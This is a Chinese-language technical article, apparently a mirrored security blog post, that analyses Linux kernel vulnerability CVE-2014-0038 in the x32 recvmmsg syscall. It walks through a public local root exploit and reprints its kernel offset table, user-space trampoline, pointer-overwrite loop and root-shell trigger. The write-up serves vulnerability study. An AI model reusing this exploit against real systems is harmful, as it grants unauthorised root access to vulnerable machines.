
        <html>
			<head>
			     <title>CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 - seteuid0</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/3795">http://drops.wooyun.org/papers/3795</a></h1>
				
      <p>
        <p><strong>关键字</strong>：CVE-2014-0038，内核漏洞，POC，利用代码，本地提权，提权，exploit，cve analysis, privilege escalation, cve, kernel vulnerability</p>

<p><strong>简介</strong></p>

<p>2014年1月31号时，solar在oss-sec邮件列表里公布了该CVE（cve-2014-0038）。这个CVE涉及到X32 ABI。X32 ABI在内核linux3.4中被合并进来，但RHEL/fedora等发行版并没有开启该编译选项，因此未受该CVE影响。Ubuntu系统在近期的版本中开启了该选项，因此收该CVE影响。X32 ABI就是在64位环境中使用32位地址，效率有所提升，相关信息请参照参考资料或google。</p>

<p><strong>漏洞原理</strong></p>

<p>先看该CVE对应的patch</p>

<!--more-->

<pre><code>#!c++
diff --git a/net/compat.c b/net/compat.c
index dd32e34..f50161f 100644
--- a/net/compat.c
+++ b/net/compat.c
@@ -780,21 +780,16 @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
    if (flags &amp; MSG_CMSG_COMPAT)
        return -EINVAL;

-   if (COMPAT_USE_64BIT_TIME)
-       return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
-                     flags | MSG_CMSG_COMPAT,
-                     (struct timespec *) timeout);
-
    if (timeout == NULL)
        return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                      flags | MSG_CMSG_COMPAT, NULL);

-   if (get_compat_timespec(&amp;ktspec, timeout))
+   if (compat_get_timespec(&amp;ktspec, timeout))
        return -EFAULT;

    datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                   flags | MSG_CMSG_COMPAT, &amp;ktspec);
-   if (datagrams &gt; 0 &amp;&amp; put_compat_timespec(&amp;ktspec, timeout))
+   if (datagrams &gt; 0 &amp;&amp; compat_put_timespec(&amp;ktspec, timeout))
        datagrams = -EFAULT;

    return datagrams;
</code></pre>

<p>该CVE引入的原因就是没有对用户空间的输入信息进行拷贝处理，直接将用户空间输入的<code>timeout</code>指针传递给<code>__sys_recvmmsg</code>函数进行处理。</p>

<p>正如patch中的修改方式，当<code>timeout</code>参数非空时，调用<code>compat_get_timespec</code>先对<code>timetout</code>进行处理，而该函数会对用户空间的timeout进行copy处理。</p>

<pre><code>#!c++
int compat_get_timespec(struct timespec *ts, const void __user *uts)
{
        if (COMPAT_USE_64BIT_TIME)
                return copy_from_user(ts, uts, sizeof *ts) ? -EFAULT : 0;
        else
                return get_compat_timespec(ts, uts);
}
</code></pre>

<p>那么我们再来看传递进来的timeout会进行什么操作呢？在 _&#95;sys&#95;recvmmsg里面。</p>

<pre><code>#!c++
/*
 *     Linux recvmmsg interface
 */

int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
           unsigned int flags, struct timespec *timeout)
{
    int fput_needed, err, datagrams;
    struct socket *sock;
    struct mmsghdr __user *entry;
    struct compat_mmsghdr __user *compat_entry;
    struct msghdr msg_sys;
    struct timespec end_time;

    if (timeout &amp;&amp;
        poll_select_set_timeout(&amp;end_time, timeout-&gt;tv_sec,
                    timeout-&gt;tv_nsec))
        return -EINVAL;

    datagrams = 0;

    sock = sockfd_lookup_light(fd, &amp;err, &amp;fput_needed);
    if (!sock)
        return err;

    err = sock_error(sock-&gt;sk);
    if (err)
        goto out_put;

    entry = mmsg;
    compat_entry = (struct compat_mmsghdr __user *)mmsg;

    while (datagrams &lt; vlen) {
        /*
         * No need to ask LSM for more than the first datagram.
         */
        if (MSG_CMSG_COMPAT &amp; flags) {
            err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
                         &amp;msg_sys, flags &amp; ~MSG_WAITFORONE,
                         datagrams);
            if (err &lt; 0)
                break;
            err = __put_user(err, &amp;compat_entry-&gt;msg_len);
            ++compat_entry;
        } else {
            err = ___sys_recvmsg(sock,
                         (struct msghdr __user *)entry,
                         &amp;msg_sys, flags &amp; ~MSG_WAITFORONE,
                         datagrams);
            if (err &lt; 0)
                break;
            err = put_user(err, &amp;entry-&gt;msg_len);
            ++entry;
        }

        if (err)
            break;
        ++datagrams;

        /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
        if (flags &amp; MSG_WAITFORONE)
            flags |= MSG_DONTWAIT;

        if (timeout) {
            ktime_get_ts(timeout);
            *timeout = timespec_sub(end_time, *timeout);
            if (timeout-&gt;tv_sec &lt; 0) {
                timeout-&gt;tv_sec = timeout-&gt;tv_nsec = 0;
                break;
            }

            /* Timeout, return less than vlen datagrams */
            if (timeout-&gt;tv_nsec == 0 &amp;&amp; timeout-&gt;tv_sec == 0)
                break;
        }

        /* Out of band data, return right away */
        if (msg_sys.msg_flags &amp; MSG_OOB)
            break;
    }

out_put:
    fput_light(sock-&gt;file, fput_needed);

    if (err == 0)
        return datagrams;

    if (datagrams != 0) {
        /*
         * We may return less entries than requested (vlen) if the
         * sock is non block and there aren't enough datagrams...
         */
        if (err != -EAGAIN) {
            /*
             * ... or  if recvmsg returns an error after we
             * received some datagrams, where we record the
             * error to return on the next call or if the
             * app asks about it using getsockopt(SO_ERROR).
             */
            sock-&gt;sk-&gt;sk_err = -err;
        }

        return datagrams;
    }

    return err;
}
</code></pre>

<p>该函数中对</p>

<pre><code>#!c++
poll_select_set_timeout(&amp;end_time, timeout-&gt;tv_sec,
                    timeout-&gt;tv_nsec))
</code></pre>

<p>。设定结束时间。 然后如下的代码保证<code>timeout&gt;=0</code></p>

<pre><code>#!c++
if (timeout) {
    ktime_get_ts(timeout);
    *timeout = timespec_sub(end_time, *timeout);
    if (timeout-&gt;tv_sec &lt; 0) {
        timeout-&gt;tv_sec = timeout-&gt;tv_nsec = 0;
        break;
    }

    /* Timeout, return less than vlen datagrams */
    if (timeout-&gt;tv_nsec == 0 &amp;&amp; timeout-&gt;tv_sec == 0)
        break;
}
</code></pre>

<p>此外，poll&#95;select&#95;set&#95;timeout会对timespec进行检查，因此传递进来的timeout的tv&#95;sec与tv_nsec必须符合timeout结构体，也就是构造利用地址的时候，地址上下文必须符合特定内容。</p>

<pre><code>#!c++
/*
 * Returns true if the timespec is norm, false if denorm:
 */             
static inline bool timespec_valid(const struct timespec *ts)
{
        /* Dates before 1970 are bogus */
        if (ts-&gt;tv_sec &lt; 0)
                return false;
        /* Can't have more nanoseconds then a second */
        if ((unsigned long)ts-&gt;tv_nsec &gt;= NSEC_PER_SEC)
                return false;
        return true;
}
</code></pre>

<p>而 <code>include/linux/time.h</code>中的定义：<code>#define NSEC_PER_SEC 1000000000L</code>。</p>

<p>到这里我们知道，只要巧妙的利用timeout的这个特定，构造特定的timeout结构体就可以构造一个特定的地址出来，这样我们就实现提权操作了。</p>

<p><strong>利用代码分析</strong></p>

<p>当前在exploit-db上有2个利用代码，利用原理基本相同，只是选用的构造地址的结构体不同，本文选用<a href="http://www.exploit-db.com/exploits/31347/">http://www.exploit-db.com/exploits/31347/</a>中的exploit代码进行分析。</p>

<p>本exploit代码和其他很多内核提权代码利用方式大致相同，通过使用有漏洞的系统调用将一个特定的内核函数地址修改成用户空间地址，然后将提权代码映射到对应地址的用户空间中，这样当用户调用被修改的特定函数时，内核便执行了相关的提权代码。以下对应该利用代码进行详细说明。</p>

<p>大家都知道，在64位系统中，由于地址较多，内核空间和用户空间只需通过高几位是否为0或1进行区分，内核空间地址的范围是<code>0xffff ffff ffff ffff~0xffff 8000 0000 0000</code>，而用户空间的地址范围是<code>0x0000 7ffff ffff ffff~0x0000 0000 0000 0000</code>。因此只需使用timeout的流程将高位的1变成0即可。</p>

<p>该exploit代码使用<code>net_sysctl_root</code>结构体的<code>net_ctl_permissions</code>函数指针进行利用。由于各个内核版本中不同函数对应的地址不同，因此定义了一个结构体存放各个内核内核版本的函数地址，这样就可以在多个写了特定内核地址的内核上完成提权操作。</p>

<pre><code>#!c++
struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};

struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};
</code></pre>

<p>Exploit程序开始就使用该函数映射结构体对当前内核进行检查，获取出要使用的函数地址指针<code>offsets[i]</code>。</p>

<p>然后使用<code>net_ctl_permissons</code>的地址进行页对齐，之后将高6*4位变成0，即设定为用户空间地址。</p>

<pre><code>#!c++
 mmapped = (off-&gt;original_value  &amp; ~(sysconf(_SC_PAGE_SIZE) - 1));
 mmapped &amp;= 0x000000ffffffffff;
</code></pre>

<p>之后以该地址为基址map一段内存空间，设定该map区域可写、可执行。先用0x90填充该map区域，构造滑梯。然后将提权代码拷贝到该map区域。</p>

<pre><code>#!c++
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

if(mmapped == -1) {
    perror("mmap()");
    exit(-1);
}

memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&amp;trampoline, 300);

if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
    perror("mprotect()");
    exit(-1);
</code></pre>

<p>提权代码是非常传统的内核提权代码，通过调用<code>commit_creds</code>修改进程<code>creds</code>数据结构。注意<code>commit_creds</code>和<code>prepare_kernel_cred</code>也是由特定于内核版本的内核地址信息获得，因此也包含在offset结构体中，需要依据特定的内核版本进行设定。</p>

<pre><code>#!c++
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}
</code></pre>

<p>准备环境已经就绪，接下来就需要调用有漏洞的_&#95;NR&#95;recvmmsg来进行地址修改。即修改<code>net_sysctl_root</code>中<code>permissions</code>指针的数值。</p>

<pre><code>#!c++
static struct ctl_table_root net_sysctl_root = {
        .lookup = net_ctl_header_lookup,
        .permissions = net_ctl_permissions,
};
</code></pre>

<p>而ctl&#95;table&#95;root的定义为：</p>

<pre><code>#!c++
struct ctl_table_root {
        struct ctl_table_set default_set;
        struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
                                           struct nsproxy *namespaces);
        int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
};
</code></pre>

<p>通过计算<code>ctl_table_root</code>可知：<code>Permissions</code>的位置为<code>net_sysctl_root+96</code>。</p>

<p>这样依次使用系统调用的timeout将.permissions的值的高6*4位从之前的1修改为0即可。</p>

<pre><code>#!c++
for(i=0;i &lt; 3 ;i++) {
    udp(i);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off-&gt;dest+7-i);
    if(!retval) {
        fprintf(stderr,"\nrecvmmsg() failed\n");
    }
}
</code></pre>

<p>通过使用三次该系统调用，依次将<code>0xFF** **** **** ****</code>,<code>0x00FF **** **** ****</code>， <code>0x0000 FF** **** ****</code>的<code>FF</code>修改为<code>00</code>.</p>

<p>执行完毕后，提权程序成功将<code>permissions</code>指向了填充了提权代码的用户空间中。注意：这里必须从高位开始处理，由于各个程序是并行处理的，因此无法准确的保证timeout值和sleep值完全匹配，又由于timeout值的tv_sec>=0，因此只要从高位依次处理就可以避免借位的情况发生。这里也是结构体选取的条件之一。</p>

<p>由于<code>0xff*3 = 765</code>,因此该提权程序需要13分钟才能将<code>permissions</code>指向的地址值变成用户空间的地址值。</p>

<p>万事具备，只欠东风。只要用户调用修改后的<code>net_sysctl_root-&gt;permissions</code>即可。</p>

<pre><code>#!c++
void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);

    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}
</code></pre>

<p>到此，该CVE分析完毕。不得不说该CVE的原理虽然比较简单，但实现最后利用修过的手法还是非常巧妙的，值得学习。</p>

<p><strong>参考</strong></p>

<p>1、<a href="http://en.wikipedia.org/wiki/X32_ABI">http://en.wikipedia.org/wiki/X32_ABI</a></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          